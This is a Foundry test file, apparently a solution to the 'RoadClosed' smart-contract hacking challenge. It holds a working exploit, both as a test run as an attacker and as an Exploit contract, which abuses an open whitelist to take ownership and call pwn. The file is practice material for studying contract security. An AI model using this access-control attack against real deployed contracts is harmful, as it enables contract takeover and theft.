-
Notifications
You must be signed in to change notification settings - Fork 116
/
Copy pathRoadClosed.t.sol
54 lines (45 loc) · 1.98 KB
/
RoadClosed.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.7;
import "forge-std/Test.sol";
import "../src/RoadClosed.sol";
contract RoadClosedTest is Test {
RoadClosed public roadClosed;
Exploit public exploit;
address public deployer;
address public attacker;
function setUp() public {
deployer = vm.addr(1);
attacker = vm.addr(2);
vm.startPrank(deployer);
roadClosed = new RoadClosed();
// exploit = new Exploit();
vm.stopPrank();
}
function testRoadClosedExploit() public {
vm.startPrank(attacker);
roadClosed.addToWhitelist(attacker); // first adding ourself to the whitelist to become the owner
roadClosed.changeOwner(attacker); // change to owner as attacker
roadClosed.pwn(attacker); // then call the function pwn to set the hacked bool to true
bool hacked = roadClosed.isHacked(); //verifying hacked bool value is true
bool owner = roadClosed.isOwner(); // verifying the owner of contract is true
vm.stopPrank();
assert(owner == true); // required first objective, become the owner of the contract
assert(hacked == true); // required second objective, change the value of hacked to true
}
function testRoadClosedContractExploit() public {
exploit = new Exploit(address(roadClosed));
bool hacked = roadClosed.isHacked(); //verifying hacked bool value is true
vm.startPrank(address(exploit));
bool owner = roadClosed.isOwner(); // verifying the owner of contract is true
vm.stopPrank();
assert(owner == true); // required first objective, become the owner of the contract
assert(hacked == true); // required second objective, change the value of hacked to true
}
}
contract Exploit {
constructor(address _address) {
RoadClosed(_address).addToWhitelist(address(this)); // first adding ourself to the whitelist to become the owner
RoadClosed(_address).changeOwner(address(this)); // change to owner as attacker
RoadClosed(_address).pwn(address(this)); // then call the function pwn to set the hacked bool to true
}
}